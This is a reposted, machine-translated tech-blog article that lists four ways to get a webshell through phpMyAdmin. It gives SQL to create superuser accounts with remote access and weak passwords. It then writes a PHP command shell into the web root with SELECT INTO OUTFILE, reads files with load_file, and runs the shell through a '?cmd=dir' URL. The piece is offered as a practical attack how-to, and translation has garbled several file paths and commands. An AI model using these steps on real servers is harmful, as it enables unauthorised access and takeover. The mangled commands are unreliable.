Shulou(Shulou.com)06/01 Report--

This article will explain in detail the methods of PHPmyadmin to get shell for you. The editor thinks it is very practical, so I share it for you as a reference. I hope you can get something after reading this article.

PHPmyadmin modifies user password

Directly click localhost or 1270.0.1 above, the user column appears, and click modify.

Add the superuser guetsec password ooxx and allow external connections

GRANT ALL PRIVILEGES ON *. * TO 'guetsec'@'%' IDENTIFIED BY' ooxx' WITH GRANT OPTION

We can create a root account and set the password

GRANT ALL PRIVILEGES ON *. * TO 'root'@'%' IDENTIFIED BY' 123456 'WITH GRANT OPTION

This creates a root outreach account with a password of 123456 and an external link of 123456.

There are four classic ways to get shell:

Method 1:

CREATE TABLE `mysql`.`study` (`7on` TEXT NOT NULL); INSERT INTO `mysql`.`study` (`7on`) VALUES (''); SELECT 7onFROM study INTO OUTFILE'EWAMGUR www.wampUnix. 7.phpUniverse Acoustics-execute at the same time, create a table under database: mysql named study, field as 7on, and export to E:/wamp/www/7.php one sentence connection password: 7on

Method 2:

Read the contents of the file: select load_file ('select' INTO OUTFILE 'E:/xamp/www/study.php'cmd); write a sentence: select' 'INTO OUTFILE' Enforcement permission: xampmax www. Study.php'

Method 3:

JhackJ version of PHPmyadmin take shell

Create TABLE study (cmd text NOT NULL); Insert INTO study (cmd) VALUES ('') -CREATE TABLE study (cmd text NOT NULL); the query result returned by # MySQL is empty (that is, zero rows). INSERT INTO study (cmd) VALUES (''); # number of columns affected: 1SELECT cmdFROM study INTO OUTFILE'EVALUGULAR WAMP _

Method 4:

Select load_file ('Elux INTO OUTFILE'); select''Erique' Erika'

Then visit the website directory: http://www.2cto.com/study.php?cmd=dir

Phpmyadmin appears when exporting a sentence (Errcode: 13-Permission denied)

There is no permission for this directory. You can try a superior directory or a subordinate directory.

No more try NTS drainage.

And pay attention to the catalog.

This is the end of this article on "what are the ways for PHPmyadmin to get shell?". I hope the above content can be of some help to you, so that you can learn more knowledge. if you think the article is good, please share it for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.